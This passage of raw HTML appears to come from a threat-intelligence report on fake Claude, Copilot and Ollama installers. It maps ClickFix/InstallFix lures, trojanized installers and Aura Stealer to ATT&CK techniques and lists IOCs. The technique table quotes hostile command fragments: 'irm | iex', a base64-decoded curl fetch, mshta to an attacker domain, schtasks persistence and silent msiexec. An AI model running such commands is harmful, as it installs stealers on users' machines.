claude.ai artifact\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A3\"\n                    data-col-index=\"0\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Resource Development\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B3\"\n                    data-col-index=\"1\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1608.006\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C3\"\n                    data-col-index=\"2\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Stage Capabilities: SEO Poisoning\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"D3\"\n                    data-col-index=\"3\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Bing result for \"claudecode docs\" leading to\u00a0  claudecode[.]us[.]com\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A4\"\n                    data-col-index=\"0\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Execution\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B4\"\n                    data-col-index=\"1\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1204.004\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C4\"\n                    data-col-index=\"2\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        User Execution: Malicious Copy and Paste\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"D4\"\n                    data-col-index=\"3\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Win+R, PowerShell, and Terminal instructions on the\u00a0InstallFix\u00a0and\u00a0ClickFix\u00a0pages\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A5\"\n                    data-col-index=\"0\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Execution\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B5\"\n                    data-col-index=\"1\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1204.002\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C5\"\n                    data-col-index=\"2\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        User Execution: Malicious File\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"D5\"\n                    data-col-index=\"3\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Claude_x64-setup.exedownloaded from a GitHub release\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A6\"\n                    data-col-index=\"0\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Execution\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B6\"\n                    data-col-index=\"1\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1059.001\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C6\"\n                    data-col-index=\"2\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Command and Scripting Interpreter: PowerShell\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"D6\"\n                    data-col-index=\"3\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        irm\u00a0\u2026 |\u00a0iex\u00a0one-liners and the encoded PowerShell stage\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A7\"\n                    data-col-index=\"0\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Execution\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B7\"\n                    data-col-index=\"1\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1059.004\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C7\"\n                    data-col-index=\"2\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Command and Scripting Interpreter: Unix Shell\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"D7\"\n                    data-col-index=\"3\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        curl -kfsSL\u00a0$(echo '<base64>' | base64 -d)\u00a0on the claude.ai artifact\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A8\"\n                    data-col-index=\"0\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Persistence\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B8\"\n                    data-col-index=\"1\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1053.005\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C8\"\n                    data-col-index=\"2\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Scheduled Task\/Job: Scheduled Task\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"D8\"\n                    data-col-index=\"3\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        schtasks\u00a0\/create \/tn\u00a0\"mseupdate\"   launching headless Edge at logon\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A9\"\n                    data-col-index=\"0\"\n                    data-row-index=\"8\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Defense Evasion\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B9\"\n                    data-col-index=\"1\"\n                    data-row-index=\"8\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1218.005\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C9\"\n                    data-col-index=\"2\"\n                    data-row-index=\"8\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        System Binary Proxy Execution:\u00a0Mshta\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"D9\"\n                    data-col-index=\"3\"\n                    data-row-index=\"8\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        mshta\u00a0hxxps:\/\/last-version.install-2026[.]com\/app\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A10\"\n                    data-col-index=\"0\"\n                    data-row-index=\"9\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Defense Evasion\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B10\"\n                    data-col-index=\"1\"\n                    data-row-index=\"9\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1218.007\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C10\"\n                    data-col-index=\"2\"\n                    data-row-index=\"9\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        System Binary Proxy Execution:\u00a0 Msiexec\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"D10\"\n                    data-col-index=\"3\"\n                    data-row-index=\"9\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        msiexec\u00a0\/i\u00a0%TEMP%\\<hex>_MouseJiggleStudio.msi \/qn\u00a0after the fake check\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A11\"\n                    data-col-index=\"0\"\n                    data-row-index=\"10\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Credential Access\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B11\"\n                    data-col-index=\"1\"\n                    data-row-index=\"10\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1539\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C11\"\n                    data-col-index=\"2\"\n                    data-row-index=\"10\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Steal Web Session Cookie\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"D11\"\n                    data-col-index=\"3\"\n                    data-row-index=\"10\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Cookies posted to\u00a0\/api2.php?method=sendcookjson\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A12\"\n                    data-col-index=\"0\"\n                    data-row-index=\"11\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Credential Access\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B12\"\n                    data-col-index=\"1\"\n                    data-row-index=\"11\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1555.003\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C12\"\n                    data-col-index=\"2\"\n                    data-row-index=\"11\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Credentials from Password Stores: Credentials from Web Browsers\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"D12\"\n                    data-col-index=\"3\"\n                    data-row-index=\"11\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Aura Stealer exfiltration from the fake\u00a0     claude-code.exe\u00a0                    <\/td>\n                                        <\/tr>\n                    <\/table>\n<\/div><style id='wpdt-custom-style-410'>\ntable#wpdtSimpleTable-410{ table-layout: fixed !important; }\ntable#wpdtSimpleTable-410 td, table.wpdtSimpleTable410 th { white-space: normal !important; }\n<\/style>\n\n\n\n\n<h2 class=\"wp-block-heading\">IOCs<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Highest-value indicators<\/strong> (they outlived the domains): <\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\/api\/checkBan\/&lt;ip>, \/api\/send\/ip, \/api\/create\/user, \/api\/checkDone\/&lt;ip>: the backend API of the AI Ads BiTB kit, the same on Railway and Render hosts. <\/li>\n\n\n\n<li>\/stats-claude-collector.php, \/claude_win.html, \/api4.php?method=auth&amp;key=&lt;key>&amp;ist=&lt;brand>, \/api2.php?method=sendcookjson|sendexts|sendkeys: the trojanized installer kit. <\/li>\n\n\n\n<li>\/curl\/&lt;64 hex characters> on compromised sites: the macOS chain behind shared Claude and Perplexity conversations and the claude.ai artifact. <\/li>\n\n\n\n<li>\/api.php?k=22508a7829b008ccdeee686d907f6b2daf74c43cefe1e925: the operator key shared by the ChatGPT shared-chat and custom GPT chains. <\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Files<\/strong>:<\/p>\n\n\n\n<div class=\"wpdt-c row wpDataTableContainerSimpleTable wpDataTables wpDataTablesWrapper\n\"\n    >\n        <table id=\"wpdtSimpleTable-411\"\n           style=\"border-collapse:collapse;\n                   border-spacing:0px;\"\n           class=\"wpdtSimpleTable wpDataTable\"\n           data-column=\"3\"\n           data-rows=\"3\"\n           data-wpID=\"411\"\n           data-responsive=\"0\"\n           data-has-header=\"1\">\n\n                    <thead>        <tr class=\"wpdt-cell-row \" >\n                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"A1\"\n                    data-col-index=\"0\"\n                    data-row-index=\"0\"\n                    style=\" width:33.333333333333%;                    padding:10px;\n                    \"\n                    >\n                                        SHA-256\u00a0                    <\/th>\n                                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"B1\"\n                    data-col-index=\"1\"\n                    data-row-index=\"0\"\n                    style=\" width:33.333333333333%;                    padding:10px;\n                    \"\n                    >\n                                        File name\u00a0                    <\/th>\n                                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"C1\"\n                    data-col-index=\"2\"\n                    data-row-index=\"0\"\n                    style=\" width:33.333333333333%;                    padding:10px;\n                    \"\n                    >\n                                        Role\u00a0                    <\/th>\n                                        <\/tr>\n                    <tbody>        <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A2\"\n                    data-col-index=\"0\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        882b1aa5432509df9b1ac29b6f987a5dd70c8f46009237de956275a58536f470\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B2\"\n                    data-col-index=\"1\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Claude_x64-setup.exe\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C2\"\n                    data-col-index=\"2\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Trojanized\u00a0installer from a GitHub release\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A3\"\n                    data-col-index=\"0\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        e86f7ba0413a3a4b1d7e1a275b3d1ef62345c9d3fd761635ff188119b8122c85\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B3\"\n                    data-col-index=\"1\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        claude-code.exe\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C3\"\n                    data-col-index=\"2\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Aura Stealer posing as Claude Code\u00a0                    <\/td>\n                                        <\/tr>\n                    <\/table>\n<\/div><style id='wpdt-custom-style-411'>\ntable#wpdtSimpleTable-411{ table-layout: fixed !important; }\ntable#wpdtSimpleTable-411 td, table.wpdtSimpleTable411 th { white-space: normal !important; }\n<\/style>\n\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Network<\/strong>:<\/p>\n\n\n\n<div class=\"wpdt-c row wpDataTableContainerSimpleTable wpDataTables wpDataTablesWrapper\n\"\n    >\n        <table id=\"wpdtSimpleTable-412\"\n           style=\"border-collapse:collapse;\n                   border-spacing:0px;\"\n           class=\"wpdtSimpleTable wpDataTable\"\n           data-column=\"3\"\n           data-rows=\"21\"\n           data-wpID=\"412\"\n           data-responsive=\"0\"\n           data-has-header=\"1\">\n\n                    <thead>        <tr class=\"wpdt-cell-row \" >\n                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"A1\"\n                    data-col-index=\"0\"\n                    data-row-index=\"0\"\n                    style=\" width:33.333333333333%;                    padding:10px;\n                    \"\n                    >\n                                        Indicator\u00a0                    <\/th>\n                                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"B1\"\n                    data-col-index=\"1\"\n                    data-row-index=\"0\"\n                    style=\" width:33.333333333333%;                    padding:10px;\n                    \"\n                    >\n                                        Type\u00a0                    <\/th>\n                                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"C1\"\n                    data-col-index=\"2\"\n                    data-row-index=\"0\"\n                    style=\" width:33.333333333333%;                    padding:10px;\n                    \"\n                    >\n                                        Role\u00a0                    <\/th>\n                                        <\/tr>\n                    <tbody>        <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A2\"\n                    data-col-index=\"0\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        claudecode[.]us[.]com,\u00a0setup-code[.]com,\u00a0use-code[.]com,\u00a0code-setup[.]com,\u00a0claude-setup[.]com\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B2\"\n                    data-col-index=\"1\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Domain\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C2\"\n                    data-col-index=\"2\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        InstallFix\u00a0lure (Claude Code)\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A3\"\n                    data-col-index=\"0\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        install-copilot[.]com,\u00a0copilotcli[.]co[.]com\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B3\"\n                    data-col-index=\"1\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Domain\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C3\"\n                    data-col-index=\"2\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        InstallFix\u00a0lure (GitHub Copilot CLI)\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A4\"\n                    data-col-index=\"0\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        setup-ollama[.]com,\u00a0codex-console[.]com,\u00a0openclaw-setup[.]net\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B4\"\n                    data-col-index=\"1\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Domain\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C4\"\n                    data-col-index=\"2\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        InstallFix\u00a0lure (Ollama, Codex, OpenClaw)\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A5\"\n                    data-col-index=\"0\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        claubecode[.]co[.]com,\u00a0openclow[.]co[.]com\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B5\"\n                    data-col-index=\"1\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Domain\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C5\"\n                    data-col-index=\"2\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Typosquatted\u00a0redirector\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A6\"\n                    data-col-index=\"0\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        refract3[.]com,\u00a0kafeprog7[.]com,\u00a0help.xenngypt[.]com\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B6\"\n                    data-col-index=\"1\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Domain\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C6\"\n                    data-col-index=\"2\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        InstallFix\u00a0staging\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A7\"\n                    data-col-index=\"0\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        cladesktop-apps[.]com,\u00a0code-desktop[.]com,\u00a0claudgodic[.]com\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B7\"\n                    data-col-index=\"1\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Domain\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C7\"\n                    data-col-index=\"2\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Fake \"Download Claude\" lure\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A8\"\n                    data-col-index=\"0\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        last-version.install-2026[.]com\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B8\"\n                    data-col-index=\"1\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Domain\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C8\"\n                    data-col-index=\"2\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        HTA staging for the fake \"Download Claude\" pages\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A9\"\n                    data-col-index=\"0\"\n                    data-row-index=\"8\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        claudedev[.]net\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B9\"\n                    data-col-index=\"1\"\n                    data-row-index=\"8\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Domain\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C9\"\n                    data-col-index=\"2\"\n                    data-row-index=\"8\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Fake Cloudflare check lure\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A10\"\n                    data-col-index=\"0\"\n                    data-row-index=\"9\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        paripassuventures[.]com\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B10\"\n                    data-col-index=\"1\"\n                    data-row-index=\"9\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Domain\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C10\"\n                    data-col-index=\"2\"\n                    data-row-index=\"9\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        MacSync\u00a0download host behind the claude.ai artifact\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A11\"\n                    data-col-index=\"0\"\n                    data-row-index=\"10\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        openai-backup[.]one\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B11\"\n                    data-col-index=\"1\"\n                    data-row-index=\"10\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Domain\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C11\"\n                    data-col-index=\"2\"\n                    data-row-index=\"10\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        \"Backup domain\" linked from the shared ChatGPT chat\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A12\"\n                    data-col-index=\"0\"\n                    data-row-index=\"11\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        hxxps:\/\/chatgpt[.]com\/s\/t_6a80bc61c434819190c3eae5932307e8\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B12\"\n                    data-col-index=\"1\"\n                    data-row-index=\"11\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        URL\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C12\"\n                    data-col-index=\"2\"\n                    data-row-index=\"11\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Shared ChatGPT chat lure\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A13\"\n                    data-col-index=\"0\"\n                    data-row-index=\"12\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        claude-ai[.]us\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B13\"\n                    data-col-index=\"1\"\n                    data-row-index=\"12\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Domain\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C13\"\n                    data-col-index=\"2\"\n                    data-row-index=\"12\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Trojanized\u00a0installer lure\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A14\"\n                    data-col-index=\"0\"\n                    data-row-index=\"13\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        stat30ffooo[.]xyz\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B14\"\n                    data-col-index=\"1\"\n                    data-row-index=\"13\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Domain\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C14\"\n                    data-col-index=\"2\"\n                    data-row-index=\"13\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Stager registration and command server\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A15\"\n                    data-col-index=\"0\"\n                    data-row-index=\"14\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        nucleflowers[.]xyz\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B15\"\n                    data-col-index=\"1\"\n                    data-row-index=\"14\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Domain\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C15\"\n                    data-col-index=\"2\"\n                    data-row-index=\"14\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Cookie exfiltration panel\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A16\"\n                    data-col-index=\"0\"\n                    data-row-index=\"15\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        budgetforge[.]ai\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B16\"\n                    data-col-index=\"1\"\n                    data-row-index=\"15\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Domain\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C16\"\n                    data-col-index=\"2\"\n                    data-row-index=\"15\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Lure with the same registration call\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A17\"\n                    data-col-index=\"0\"\n                    data-row-index=\"16\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        claude-advertisement[.]com,\u00a0meta-claude[.]com,\u00a0monday-brief-claude[.]com\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B17\"\n                    data-col-index=\"1\"\n                    data-row-index=\"16\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Domain\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C17\"\n                    data-col-index=\"2\"\n                    